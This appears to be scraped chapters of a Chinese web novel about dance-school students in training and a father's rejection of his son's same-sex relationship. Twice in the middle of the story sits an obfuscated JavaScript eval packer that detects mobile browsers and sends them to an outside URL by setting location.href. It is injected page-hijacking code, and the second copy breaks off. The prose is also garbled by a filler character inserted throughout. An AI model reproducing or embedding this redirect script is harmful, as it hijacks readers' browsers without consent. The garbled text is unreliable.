唐骁搬了个折叠椅跨卝坐着,盯着林晓希在把杆上踢后腿。二十腿一组,左右各三组,每组二十秒的间隔。这个量对于林晓希这样的尖子生来说应该不算什么,所以哪怕做到最后一组,每一次踢腿的质量仍然很高。唐骁很满意,“休息一下,三分钟。” 林晓希点点头,从把杆上下来,喉卝咙干卝得冒火。大小两个参赛作品,除了一整个上午,吃完午饭又练到两点多。不管是体力还是精力,他都觉得有点跟不上了。可在老卝师们那儿,这些从来算不得是借口。林晓希喝进一小口水,一点点咽下润着嗓子,等会儿要练腰,他不敢多喝。 “进把杆吧,甩腰。” 三分钟一到,唐骁便朝着墙边指了指。 晓希原地活动了几下,然后便一矮身钻进了把杆。唐老卝师没说怎么甩,他就照平时的习惯来练:每个八拍四下,两个八拍抓一次。他微微撑起身卝子,把腰垫在把杆上,双卝腿抵着墙壁。手臂举到耳侧,深吸了一口气,翻身下去。 一二三四、五六七八…… 晓希在心里默默数着拍子,大概是方才后腿踢得开,能感觉出比平时松一些。他调整着呼吸,暗暗给自己又加了点力气。 练卝功房的墙壁和地板反复地在眼前飞快闪过,每甩一下,单薄的腰部都包裹卝着把杆极尽弯曲,把架子弄出吱吱呀呀的响声。第二个八拍结束,林晓希伸手抓卝住脚腕,只觉得全身的血都嗡地一下冲进脑子,让他一阵眩晕。 “膝盖。” 身后传来唐老卝师的声音。晓希皱了皱眉,尽力把本就正用力挺卝直的膝盖又往里收了收。 “别憋气,手再给点。” 唐老卝师就坐在身后,根本不用上手,可每个指令都能精确地把自己往更难受的感觉上赶。晓希听话地松开这一口气,收紧手臂,把自己又往里拉了一点。 “呃……” 一声闷卝哼不受控地从喉卝咙深处溢卝出来。唐骁眉心挑了挑,没准备让他自己练太狠,数够两个八拍就放他起来了,“起吧。” 林晓希手一松,靠着腰力把自己带回来。才一立直,就不知怎么呛了口风,撑着把杆干咳了两声。唐骁知道他是这一下起猛了,倒也没有太担心。等着他不咳了,才说,“别歇。再来两组。起 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晓希心里一动,“嗯,认识。去年暑假我住在学长家,平时练卝功就都一起的。” “哦哦,那你们师卝兄弟应该是很熟了。”唐骁从旁边拎了个垫子,铺在椅子对面六七十公分的地方。 晓希点点头,“嗯,挺熟的。之前也听他说了,在艺考班上了您的课。” “是,那孩子挺不错的。我听说才练了一年多?正经是个好苗子。浓眉大眼的,长了张淘气的脸,没想到还挺听话,挺能吃苦的。” 晓希一愣,嘴角跟着便不自觉地弯起来。他想起那一周里彦承每天上完课都要和自己“哭诉”的样子:“是不是其实所有舞蹈老卝师都这么狠啊。萧泽哥是这样,秦老卝师和文导是这样,你们说的刘老卝师是这样,她男朋友也是这样。所以根本没有温柔的老卝师对不对!” “哟”,唐骁敏锐地捕捉到林晓希嘴角不自然的弧度,笑道,“看来是还说我别的了?” “没有没有”,回过神的林晓希连忙否认,“他就是小孩儿性格。” 唐骁笑着扬了下下巴,敲敲椅背,“逗你呢,过来吧。” “哦。” 林晓希闻言立刻收了笑脸,两三步跑了过来。 唐骁拎着小棍敲敲他后腰,“搬后腿,就是后胯、腰、腹背肌这几个地方。背肌下课自己练,今天就给你练前两样。昨儿没开腰吧。”林晓希的进度刘茹佳都交代过了,可唐骁知道这孩子努力,还是保险地多问了一句。 “嗯,没有,我就自己按部就班练来着。” 唐骁点点头,“那就行,下吧。” 晓希应了一声,矮下卝身,把右腿架在折叠椅上,向后滑开了个竖叉。后腿的膝盖刚好垫在那层皮面的海绵垫上,他知道是等会儿保护膝盖用的。晓希摆正胯,自己用了压了几下,距离地面便只剩下两三公分的样子。 “能贴地吗。”这个开度唐骁还算满意,他上前一步,一只脚踩上去只稍稍给了点劲儿。晓希咬着嘴唇借着老卝师的力气又用卝力沉了沉,胯卝根才若即若离地贴上了地面。 唐骁知道这是他差一点的一边,便松开脚,朝旁边偏偏头,“起来吧,去把琴凳搬过来。” 晓希心中一颤,不禁抬起头看向唐老卝师,却又极快地低下去,麻利地站起身去搬琴凳。唐骁看着他那薄薄的背影和已经被汗湿的功服,不禁默默轻笑了下。功再好也还是个孩子,哪能不怕呢。 晓希搬着琴凳回来时,折叠椅已经被收在了一旁。他把琴凳打横放在原来的位置上,跟着便重新在上面下了个竖叉。陡然增加的高度让胯卝根和地面也空出一截的距离。晓希自觉地收起手臂,一前一后地撑在膝盖上,牙尖却不禁悄悄地衔上嘴角内卝侧。 唐骁站到他身侧,扶着肩膀把人重心往后带了带,一份不轻不重地力道也同时从掌心落下。“耗一会儿吧。” 77. 第 73 章 “爸。” “萧叔。” 萧泽和钟彦霖一前一后卝进来,萧允明抬起头,朝旁边扬了扬下巴,“坐吧。” “嗯。”两人拖出茶台前的小凳,并排坐在萧允明对面,看着他正把用过的茶具一一捡到一旁的小竹簸箕里。 “爸……” 父亲的脸色不怎么好看,萧泽下意识地舔卝了舔嘴唇,率先打破沉默。“昨晚您和妈休息的怎么样?” 萧允明没有回答,只是自顾自地收拾茶台。过了好一会儿,才撩卝起眼神,盯着两个略显局促的孩子。 “你们俩眼里,还有没有我们两个长辈在?” 萧泽微微一愣,忍不住别开目光,心底不由得满是自责。当初答应承儿考舞校,他不是没想过该知会爸妈。可也像他和母亲解释的那样,他确实是怕爸妈不同意,就算是同意,也要费好大一番口卝舌。所以才存了侥幸的想法,想着过一阵再说、过一阵再说。这一拖,就拖到了现在。 “对不起,萧叔,是我们错了。” 彦霖知道萧叔不喜欢解释,更何况这件事的确是他们两个做的不对。 “错了。” 萧允明冷哼了一声点点头,似是品味着这两个字。“如果我和你婶卝婶不回来,你们准备什么时候告诉我们?等到承儿高卝考结束,还是更久? ” 叔叔诘问的眼神压得彦霖抬不起头。他不禁抿起嘴唇,无卝言卝以卝对。 “爸……我们——” 萧允明摆摆手,不想再听什么解释。孩子们怎么想的,他其实很清楚。他也不是不理解,可理解,不代卝表没有做错。 “当然,这件事我也有错。” 他顿了顿,看向彦霖。“这几年我和你婶卝婶都不在国内,把承儿交给你管。你是他哥卝哥,替他做这个决定,不用知会我们,也是自然。” “萧叔……” 彦霖喉结不经意地动了动,这话对他来说太重了……他是承儿的哥卝哥,可他们同时,也是萧叔的孩子。父亲临终前把他们托付给萧叔,这么多年了,他和承儿心里对叔叔婶卝婶也是当成父母一般。叔叔婶卝婶不在国内的这三年里,对承儿的关切从来没断过,他是知道的。他怎么可能有,萧叔说的那种心思。 这件事,他和萧泽如果想说,其实有无数次机会。可他们还是没有,他们一点也不冤枉。更何况……归根结底,叔叔和婶卝婶离开首都的原因,不也是因为他们吗…… “好了。” 萧允明不是看不出彦霖眼底的波动,却只是叹了口气,“这页就翻过去吧。” 承儿要学跳舞,还要搞专卝业,他和勤勤的确都不愿意。可事已至此…他们也能的看出来,小家伙是真的喜欢。索性也不是什么坏事,学就学吧。就算早给他们知道,也是禁不住承儿磨,一样会同意的。 “我找你们俩进来,是想说另外一件事。” 萧泽和彦霖齐齐抬起头,心里都不由得一紧。 “我和你婶卝婶这次回来,就不走了。” “真的?” 萧泽上一秒还紧绷的脸上骤然露卝出一丝惊喜,连眼神都亮了起来。 父亲的脸色却不见松动,只示意他接着听下去。 “你们两个,从跟我摊牌到现在,也有六七年了吧。的确比我想的坚持的更久。” 萧允明自嘲地笑笑。“这几年,我们父子之间也算经历了不少。即便是这样,你们也不愿分开,我呢,也仍然不能接受。我想时间已经证明了,这是不可调和的。” 萧泽尚未绽开的笑容定格在脸上,心一点点沉了下去。 走进这间书房之前,他不是没有悄悄地希望过,这一次,会不会有什么不同。从机场回来的路上,昨天晚餐的饭桌上,爸爸与他们笑得他们开心那么自然。有一瞬间,他甚至奢望着,是不是爸爸已经接受他们了。可他的这一点点希冀,终于还是在此刻眼前深沉的眼神中被熄灭了。 彦霖不禁握上萧泽的手,萧泽如触电般想要缩回去,却被他紧紧攥卝住。在叔叔婶卝婶面前,他们一直刻意保持着距离,生怕任何不经意间的举动会扰乱全卝家人小心翼翼维持的平静。可这一刻,他知道萧泽需要他。 “萧叔,我和小卝泽在一起这些年,一直本本分分,没有做过任何出格的事情。无非是想让您看到,我们是真心相爱才在一起,我们没有学坏,没有堕卝落,没有伤害任何人。我们和大街上无数对的异性卝情卝侣没有任何区别,我们——” 萧允明的眼神从两人紧卝握的手上移开,听到“相爱”两个字,眉头不禁高高地耸卝起。他摆摆手,不想再听下去,“这些说辞,我听过很多遍了。我说过了,我们也不用再重复过去的对话。” 他接着说,“你婶卝婶在都柏林住得不习惯,也总是惦记着你们,所以我们才决定搬回来。既然要回来常住,我想着,有些事情还是要提前和你们说好。” 他微微躬下卝身,交叉着双手,将手肘撑在膝头。“勤勤惦记你们,你们以后常回来看她是应该的。我不管你们在外面什么样,可只要踏进这个房子,该怎么做,你们心里有数。至于我……你们回来,也不用知会我,如果能避开,也更好……省了许多面子功夫。” “但是承儿——”萧允明顿了顿,锐利的眼神看向彦霖。“承儿从小就有你管着,我一直都很放心,想着,对你也是锻炼。我去爱尔兰之前,我们谈过这个。今天,当着你们两个的面,我必须再说一次。长兄为父,承儿交给你们,不是管管穿衣吃饭这么简单。当家长要有家长的样子,好的东西该教要教……不该教的,你们俩趁早给我拿的离孩子远远的。听清楚吗?” 彦霖和萧泽点点头,一齐应了。两人的脸色也终究从震卝惊到黯然,直到默默错开目光,垂下了头。他们当然想过,父亲这次回来定是会有一番深谈。只是没想到这场谈话来的这么快,这么沉重。 “爸……” 沉默良久,萧泽终于苦笑了下,莫名有些沙哑的声音里带着不经意的颤卝抖。“您这是要,和我们划清界限吗。到底我们怎样做……才能向您证明,我们在一起不是错,更不是……病卝态。这么多年了,您——” 他喉头有些梗住,“您宁可一直不见我们,也不愿意尝试去理解我们吗?哪怕一点点也好,爸。” “那这么多年了,你们有一刻,想要为了我和你卝妈妈分开吗?嗯?” 萧允明的目光在两个孩子脸上扫过一圈,嘴角不觉挂上了了然又疲惫的笑容。“彦霖、小卝泽,我说过了,我们谁也无法说服对方。我也累了。你们是成年人了,你们为自己做的决定,我管不了。为人父母的,无非是希望子女过得好;所以你们自己觉得好就够了,我怎么认为、我接不接受,都不重要,也不必得到我的认可。” “萧叔,不是这样的。” 彦霖犹豫片刻,撤开凳子屈膝跪在了原地。萧允明眉间一皱,“起来,我不兴老钟那一套。” 彦霖咬咬牙根,固执地没有动。“让您和婶卝婶伤心了这么久,是我们不孝。我知道这么说很自私,可我和小卝泽,是真的希望能得到您的理解和认可,真的希望一家人可以像原来一样。萧叔,我们求您,无论您还需要多少时间都可以,可您不要……放弃我们。 ” 萧允明看着直直跪在身前的彦霖,眼神里满是恳切,自己心里也不免酸涩。 从老钟把两个孩子交到他手上那天起,他肩上便好像担了千斤。心里唯一的念头,就是一定要把两个孩子好好地带大。可要把好这杆尺,并不容易。他和勤勤,一面心疼两个孩子没了父母,恨不得把所有的宠爱都给他们;一面又怕疏于管卝教,他们万一行差踏错,不成才,那便对不起钟大哥夫妇俩。 起初那几年,承儿年纪小,勤勤一直宠的厉害;可对彦霖,萧允明知道,自己一直是严厉居多。不是不疼他,是实在是对这孩子寄予厚望:他是钟家的长子,萧允明想尽快把他父亲的产业交还到他手里。所以对他的学业一直看的很紧,上了高中后,更是每个假期都把他扔到公卝司里历练。 这孩子的确不负所望,短短几年,就优秀的让人打心眼里骄傲。可萧允明怎么也没想到,他却偏偏和小卝泽生出了那样的感情…… 往事来袭,总是沉重得让人有些招架不住。萧允明长长叹了口气,起身把彦霖拉了起来。“彦霖,照我说的做吧。我们父子三个……都留些体面。” 他端起桌上的竹簸箕,转头看见儿子撑着双膝,将脸都埋在手中,不禁在他肩头重重按了下,抬脚向门口走去。 “爸!” 门锁响动的瞬间,萧泽终于抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239575|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不敢回头去看父亲。他狠狠皱了皱眉,咽下喉卝头涌上来的哽咽,“我们在您眼里,就真的那么十恶不赦吗?” 房间里陷入让人难以忍受的寂静。萧允明捏着门把手的手紧了紧,余光里,能看见儿子有些颤卝抖的肩背。良久,他轻轻拉开门,“出来吃饭吧,别让你卝妈等。” ————————————————————— 大周日的晚上,何钦难得早早地在外面吃完晚饭直接回寝室了。推开门,没想到只有林晓希在,正趴在床卝上玩手卝机。天也不冷,他还披了个被子。 “欸你今天下午没休息吗?” 何钦朝他俩的床位走过去,“我三卝点多出门看你还没回——” 他不禁愣了下,“你干什么呢?” 林晓希微微撑起身卝子,可两米长的被子只高高隆卝起半截,此时他正攥着手卝机看着自己,显然有一丝尴尬。何钦犹疑着上前,强卝硬地掀开被子,果然见他原来正跪着伏卝在枕头前。 “你……” 何钦嘴唇动了动,目光在他那不太好看的脸色上流连了片刻,“你今儿又练腰了?” 林晓希脸上有些发烧,慢慢坐起身靠在墙上。跪的久了,他腿有些麻。“什么毛病,怎么还掀人被子。” 何钦没心思听他在那儿打岔。林晓希是多能扛的主儿,他能在寝室里蒙个大被、缩在这儿生忍,肯定是难受的紧了。何钦知道他最近练腰练得密,眉头不禁拧成个疙瘩,“你趴下,我给你按按。” 林晓希摇摇头,“没事儿,不用。” “没事儿你在这儿苟着?快点!” “哎别动别动,脚麻了……“林晓希攥卝住何钦要拉他的手腕,“真没事儿……我就是那么呆着得劲儿,缓缓就好了。” 何钦拽着他不松手,“别犟!我给你按按好的快。” “哎呀,哪那么娇气。” 林晓希扥了扥被何钦另一只手抓卝住的被子,忍不住笑了,“谁不练卝功啊,难不成以后舞校的学卝生入学,都配个随行按卝摩师。” 何钦没好气地甩开被子,懒得和他辩论。是,人人都练卝功,可有几个像他这么能折腾的。 “你晚饭吃了没有?” 屋里这几个都不在,估计是一起吃饭去了。何钦看看林晓希这样子,不用说也知道了。 “吃了。” “吃的啥?” “吃——” “想好了再编。” “……” 林晓希终于放弃抵卝抗,有些理亏地看着何钦。“我真没胃口,不饿。” 何钦盯着林晓希那为难的眼神和满脸掩不住的疲惫,到底偏过头,什么也没说。他知道那种感觉,人累到头的时候,浑身上下一点儿劲儿也没有。难受、又说不出哪里难受,什么也吃不下,想睡也睡不着。“你歇着等我吧。” 何钦没多说什么,抓起手卝机就又出门了。 何钦过了半个多小时才回来,手里拎着两个袋子。林晓希正盘着腿靠在墙边看书,被子已经规规整整地叠好放在一旁。 “来,趴下。” 何钦把被子放在床中间,不由分说地就拉着林晓希趴下。转头又从袋子里拎出沉甸甸地一个布包,平摊着压在晓希腰上了。 “这什么啊?” 林晓希把手伸到身卝后摸了一把。布包里不知道装的什么小颗粒似的东西,很重,还发着热。一整摊压在腰上,热量顺着皮肤传进肌肉深处,惹得他背上瞬间泛起一层鸡皮疙瘩。 何钦坐在他床边抹了把汗。“我也不知道,从芽芽她们寝室借的。放微波炉里转三分钟就特别热,说是缓解肌肉疲劳的。” 芽芽是何钦的女朋友。林晓希枕着手臂趴在床卝上,想着何钦先跑到女寝又跑去食堂借微波炉,折腾了一大圈,心里有些不是滋味。“谢了啊。” “哟,感动了啊?别着急哭。” 何钦起身从另一个袋子里又掏出来个饭盒,撂到桌上。“蒸鸡蛋膏。我斥巨资让食堂阿姨给你多撒了把虾米。一会儿都吃完啊。” 林晓希看了看饭盒,又看了看何钦,不禁皱起眉,“这碗挺大的。” “嗯。” 何钦从他柜子里抽卝出根钢勺“啪”的一声拍在饭盒上,“现在正式道卝德绑卝架你,必须吃完,不然就是浪费了我一片苦心!” 78. 第74章 晚上的时间尚早,寝室里的人都还没有睡。林晓希把被子和枕头摞在身后,靠着窝在床角。床头的灯没有开,他整个人都缩在上铺遮下来的阴卝影中。这会儿正歪着头捧着手卝机,嘴角极偶尔地才露卝出一丝笑意。 “对了,你说萧伯伯找你谈话,怎么样?” 对话框上方立刻显示着“对方正在输入…” ,一串回卝复很快蹦出在屏幕上。“哦还好还好。我和哥卝哥们自作主张,什么都不告诉他和婶卝婶,肯定是有点生气的。不过也没太说我,就让我好好学。” “那就好。” 林晓希悬了一晚上的心稍稍放下来。可…早前心底的一丝疑惑又不禁渐渐抬卝头:怎么听着,学长的父亲都不像是那种毫无变通的大家长,可为什么在学长的事情上,就那么激卝烈和强卝硬。只是转念想想,好像也不难理解:毕竟…与“决定和同卝性共度此生”这样挑战世卝俗的事情相比,学舞的确不算是什么了不得的事。 “那学长和彦霖哥怎么样?” “唉……”电卝话另一头的彦承沉沉叹了口气,“叔叔找完我就找卝哥卝哥们了。聊的时间不长,可出来的时候,脸色很不好看。” “也不是不好看……” 他又追着在屏幕上打道,“就看着好像什么事也没有,可…你懂的,真没事和装没事,是不一样的。” “嗯……我明白。” “我问了哥怎么样,他也不告诉我。就说没事,让我专心备考,不要管大人的事。唉……” 哪怕是隔着屏幕,晓希也能想象出那一个个“唉”字后面彦承不住叹气的小表情。他自己又何尝不是暗暗替学长和彦霖哥担心,可想来想去,也想不出有什么能帮他们做的,一时间心里不由得有些难受。 “那你在家里乖一点啊……练卝卝功用心一点。” 晓希手指在屏幕上一点点下划,找到了个【拍头】的表情。 收到表情的彦承不禁会心一笑,手指飞快地一阵飞舞。“知道啦!你也照顾好自己,不要太辛苦!!!否则……【锤头】” 呿,晓希望着屏幕上早已过时的小表情,还是忍不住笑了。他和承儿有一搭没一搭地聊着,人渐渐地就有些睁不开眼睛。终于撑到承儿说要去洗澡休息了,他才放下手卝机,扭过头安心地合上了眼睛。 只是他身上难受,心里又装着事儿…方才还来势汹汹的睡意,一闭眼就不知不觉地没了踪影。晓希皱着眉,将额头轻轻抵在墙上,人朝着墙角又缩了缩。可无论眼睛如何酸涩地睁也睁不开,人却怎么也不能沉沉睡过去。 “欸?别这么睡。” 迷迷糊糊地,他好像听见何钦在耳边悄声喊他,正轻轻地扯他身卝下的被子。他挣卝扎着想要起来,身卝体却仿佛在一片混沌中,不听使唤。 我自己来……他下意识地呢喃了一句。可下一秒,人却已然躺倒枕着枕头,被何钦严严实实地塞卝进了被窝里。 这一晚,着实没怎么睡好。 第二天早功上,林晓希按着隐隐发卝胀的太阳穴,腰卝胯疼得他几乎不想抬腿。只是想想周一满满当当的课表……他还是咬咬牙老老实实地活动开了。要不然,遭罪的是自己。 “林晓希!过来。” 上午的第一堂大课结束,唐老卝师果不其然地把他叫住了。 “唐老卝师。” 孩子一溜小跑地过来,唐骁看着他眼下的两圈黑青,眉心蹙了起来,“没睡好?” “还行……就睡的有点晚。” 林晓希嘴上答着,脑海中却不禁飞快过着方才课上的内容。 唐骁看穿他的心思。“刚课上表现不错。不过自己要知道注意身卝体。尤其赛前,调整好状态,保证睡眠。“ “嗯,知道了。” “行,去吧。” 唐骁摆摆手,没有多留他。上午两节大课间有半个小时的空挡,虽然算不上充裕,倒也能抽空休息一会儿。 只是这边等唐骁收拾好了教室正准备离开,抬眼却看这孩子还在把杆旁立着。“还不走?” 他拎着名册走过去,在他胳膊上不轻不重地扇了一下。 “呃…” 林晓希犹豫了下,“我下节课也在这屋。” 噢……对。唐骁了然地扬起下巴,怎么把这事儿给忘了。“怎么样,累不累?” 他随口一问。只是前脚问出来,后脚自己也不禁皱了皱眉,倒是有些多余了。 晓希也被问得微微一愣,只是随即便有些拘谨地笑了,“还好。” 唐骁点点头,沉吟了片刻,才又说道,“老卝师们呢,肯定都是为了你好。不过你自己也可以把握着点这个度。如果觉得实在超负荷了,就和老卝师们说。不管怎么说,透支身卝体都不是可取之计。” 林晓希没想到唐老卝师会说这个,一时间有些没反应过来。唐骁以为他有顾虑,“你要是张不开嘴,就和你刘老卝师说,让她去跟教卝导主卝任说。” “嗯,我明白。谢谢唐老卝师。” 林晓希垂下眼神,心底莫名泛起一阵隐隐的波卝动。 被那么多老卝师盯着、看着,的确是一件很辛苦的事。关爱与期许,落在肩头上时才知道沉重。只是,能得到那么多人的关心,也很温暖。无论表达的方式如何,那一份份沉甸甸的,不仅是压力,也是看重。 这些年来,他便是这样左肩托着期许,右肩扛着压力地一步步向前走。虽然苦痛和幸福交织,可再给他一次机会,他还是会选这条路走。 下一节课的学卝生还没有到,唐老卝师离开后教室里就只剩下林晓希一个人。他在镜前的矮柜上坐下,忍不住仰起头,靠着身后的镜子闭目养神。这几天的确是太累了,他少有的放空了心思,什么也没有想。 门口传来轻微的响动。连半分钟都没有歇到的晓希下意识地直起身,朝门口看去,没想到进来的是陶乐钦。 “嗨……” 毫无预兆撞上的眼神让陶乐钦也有一丝诧异。他抬眼把空旷的教室扫了一圈,目光又不得不落回林晓希身上。 后者朝他礼貌地点点头算是回应,“这么早?” 编导系的第一节大课在隔壁楼,就是下了课直接过来,也要一会儿。 “嗯……我第一节请假了。” 陶乐钦在门口换了鞋,随口解释道。 房间里很快陷入尴尬地沉默。 自从上次在校园里撞见,两人好像就再没说上话。倒也不是刻意,只是林晓希在编导班的课本来就跳着上,陶乐钦又因伤在教室旁边看了大半个月的课。两人作业分组也不在一起……所以哪怕都是在一个班上,也的确没什么说话的机会。 陶乐钦自顾自走到房间一侧热身。林晓希抬眼看着他脚上依然穿着保暖的护腕,想起他的伤,“你的脚,没事了吧。” 陶乐钦下意识地扫了眼脚下,“哦,没事了。” 好一会儿,又后知后觉地添了一句。 “你的药酒,挺好用的。谢谢。” 林晓希愣了下,方才想起来自己是给过他一瓶药酒。于是,也不自觉跟着想到,他们之间,其实也有过一阵还算平和坦诚的交流。 陶乐钦这个人啊……晓希无声叹了口气。他后来听孔爵哥零星说过些几次陶乐钦的事,其实便也能理解了。人总归会有些旁人无法感同身受的小执念,所有与之相关的事情都变得不同寻常。于是难免会格外紧张,会过卝度自卝卫,就如一只为了掩饰脆弱便要率先展示敌意的刺猬。 只是……家人、彦承、学长,都是晓希的底卝线。有些事情,他即便可以理解,也不能退让。 “你呢,比赛准备得怎么样?” 大概是出于不能“有来无往”的礼貌,陶乐钦看似漫不经心地问起。 “还行吧。” 林晓希收回神,抿着嘴点点头。 “嗯……” 房间里飘出一丝几不可闻的叹息。晓希抬起头,只见陶乐钦微仰着脸,似是看着墙上 “刻苦练习,忠于艺术”的几个大字出神,继而又偏过头看向他, “其实我能明白的。” 林晓希不解地扬起眉心。 陶乐钦索性走过来,在林晓希身旁的地上坐下。他双卝腿舒展地开了个横卝叉,一边脚搭上了矮柜,趁机耗着旁腿。“中卝国古典舞的赛场,从来都不在国际上。” 他拔直身卝体优雅地侧过头,在镜中调整自己的姿卝卝势。“舞蹈学院这些年出去比赛拿奖的,百分之九十都是芭蕾院的。现代舞院每年也会参加几个,只是成绩稍逊色些。” 陶乐钦说的的确是事实,林晓希不作声,只听他继续说下去。 “柏林的两年一度的世界舞蹈比赛,算是古典舞院近些年少有的固定参加的一个了。一是因为赛会旨在引卝见和宣啊卝传世界各民卝族的舞种,二来承办赛会的学校和首舞是建立多年的友谊校,对古典舞的友好度很高。所以舞院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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首都的天一入了秋,很快就凉了下来。虽说午后的日头仍有“秋老虎”的派头,早晚的风却已经冷了。萧泽看着彦承一身一头的汗,不禁起身到窗边把正对着他的那扇轻轻掩上了。“你跳你的。”孩子的眼神忍不住追着他走,他扬声提醒了一句。 爸妈回来是开心的事,可承儿的晚功他也只给免了一晚。昨天妈说什么都要惯着孩子再歇一天,他只能同意。结果今卝晚带着他过作品,抠了好几天的动作就又还回来大半。 承儿的舞感特别好,跳舞是难得的有灵气,却也免不了的有许多小毛病。比如小动作上的粗心大意,就一直是“顽疾”。被自己看着精力集中的时候还好些,可只要一有点小事心不在焉,就能被打回原形。 “又犯!” 萧泽蹙起眉头,竹棍不留情地招呼在他身上。“每个动作都必须做完整了,力量要一直给到指尖上。” 彦承包着嘴角忍下这一下,默默点了点头。萧泽看他委屈巴巴的样子,知道他今卝晚心里长草,成舞是跳不好了。“自己去,脚背。” 一米长的竹棍朝旁边虚虚一指,彦承抬眼看了下就快步走过来,心里有些微微的内疚。 方才那串动作,有几个勾绷脚背的点,他不知道怎么的,总是记岔。上周开始练这个作品的,萧泽哥花了几天给他纠正了,今卝晚不知怎么又记不明白了。明明脑子里顺的清清楚楚,可一到那儿就跳错。 他是该好好涨涨记性了。 人在把杆下蹲下,双膝并排抵在胸前。十个脚趾都紧紧蜷卝起压在地上,承担着整个身卝体的重量。彦承的双手在头顶卝紧紧卝抓卝住把杆,努力维持着身卝体的平衡。任何一丝细微的晃动都会给已经如断裂般的十趾带来加倍的疼痛。萧泽却捏着他手腕摇了摇,“别握那么紧,这一阵都没怎么练,好好压压脚背。” “嗯……”彦承低低应了一声,小心翼翼地撤下手上的力气。更多的重量立时落在苦卝不卝堪卝言的双脚上,他下意识地又紧紧卝握住把杆,纠结的小卝脸几乎都要埋在双膝中。 “再乱动是想我给你压?”萧泽依旧攥着他手腕,语气如常。只是在练卝功房里的积威到底让彦承不敢再有一点侥幸。 一阵简短的敲门声不适时的响起。彦承忍着疼和萧泽哥一起扭头朝门口望去,依然紧闭的房门后传来婶卝婶温柔的声音,“小卝泽,我能进来吗?” 79. 第 75 章 “妈。这么晚你怎么过来了。” 萧泽快步到门口,一拉开门,果然是母亲站在门外。 “嗯,我烤了点面包,拿过来给你们当早餐。顺便看看承儿。” “哦。” 萧泽连忙侧过身将母亲让了进来。妈就是来看承儿的,他自然不能拦,只是心里知道,她看了肯定是要心疼的。 的确。董勤勤才一进来心就咯噔一下——视线所及之处,半大的小子蹲在把杆下,蜷成一团。这会儿正扭头看着她,湿卝漉卝漉的小卝脸还有些懵懵的。“婶卝婶。” 他下意识地叫了一声。 “呃婶卝婶,你怎么来了?” 缓过神的彦承面颊立刻飞起了整片红色。他忙不迭地想要站起来,可肩膀一动才想起来自己还在挨罚,只得又讪讪地蹲回去……因为重心晃动而骤然加剧的疼痛惹得他偷偷咧了咧嘴。 董勤勤在把杆旁的椅子上坐下,把心疼都不露声色地压了回去。她斜倚着把杆,故意轻快着语气,“听说你要考首舞了,我当然过来看看啊。看看你这小家伙够不够格啊。” “诶我都长大了。您别‘小家伙小家伙’的了。” 彦承这次连着脖颈都红了,不禁纠起眉毛和婶卝婶分辩。萧泽走过来胡了把他的小脑袋,“给婶卝婶跳一个?” “啊……” 彦承仰起脸望着萧泽,声音小小的,“就跳刚才那个?我……行吗?” “你说你行吗?” 一整晚了,萧泽哥难得露卝出个笑容。彦承心里一暖,立时就好像有了主心骨,“行!” 乐声响起。承儿右手在胸前潇洒地一划,方才还带着疲惫的神色瞬间明亮起来。 “这是……?” 曲子的旋律明媚愉快,董勤勤听着耳熟。 “嗯。是孔导的那部。” 萧泽轻声应着。这一段确实是摘自几年卝前歌舞剧院出品的长篇历卝史舞剧,承儿跳的是个清晨早读的小书生。这一章节的动作跳脱、表现力强,又经萧泽的改编,的确很适合承儿拿来应考。 只起手的几个动作,就能看出这一年的功底来。董勤勤不由得点了点头,“我确实是没想到……” 她从来没想过承儿有一天会跑去跳舞,所以初听到他不仅学了还要走专卝业的消息时,实在是觉得胡闹。可她也知道小卝泽和彦霖都不是会乱来的性子……何况连小卝泽那样的眼光,都说他有天赋。董勤勤神色似是恍惚了些……说来,承儿妈妈在舞校的时候,也是她们班里最好的。承儿遗传了母亲天赋,也是自然。 只是她没想到,这孩子短短一年就能练成这样。 “承儿是吃这碗饭的。” 萧泽站在母亲身侧,目光追随着房间中卝央灵动的身影,也忍不住感叹。 “嗯…是。” 董勤勤默默看着,过了良久,才又说道,“是吃这碗饭的……可功,得自己长啊……” 萧泽自小到大在练舞上吃了多少苦,董勤勤是知道的。即便他自己如何甘之如饴,当父母的,哪能不心疼呢。如今这一模一样的罪又让小承儿再遭一回……她是真不愿意想,这一年多,这小家伙儿是怎么过来的。 —————————————————— “萧老卝师,您的饭。” “诶,谢谢。” 萧泽从志愿者手里接过午餐,和孔爵一起在舞台边上坐了。 舞剧排练的进展很快,这几天已经开始联排了。他们这个班子组得七零卝八碎,大部分演员最后还是靠文导和朱导的力度调来的。所以往往周末才是演员人最齐的时候,也是他们排练任务最重的日子。这不,都快一点了,才开午饭。 可萧泽捧着尚有些烫手的午餐,依旧没什么胃口。 “你爸妈回来有俩礼拜了吧。怎么样啊?” 孔爵把刚脱卝下来的演出服规规整整地叠好放在身后,随口问道。 萧泽拧开水瓶喝了一大口,听了这话,只笑笑叹口气,“就那样吧。嗐……好在,不吵架了。” 孔爵看着他那言不由衷的笑容,知道老卝爷卝子的态度估计还是那样,也知道他心里不好受。只是终究是人家的家事,他们这些旁人再怎么着急,也终究帮不上忙。“吃饭吧!” 孔爵拆了双筷子递给他,顺手拍拍他膝头。 “嗯。” 萧泽接过筷子,在孔爵眼神的督促下不得不打开饭盒。只是目光扫过,眉心又不禁皱了皱——依旧是整洁精致的分装,菜品搭配丰富。不仅每天都有例汤,每人每份也都是单独的纸袋打包。 “咱们这几天这盒饭……?” “是吧?” 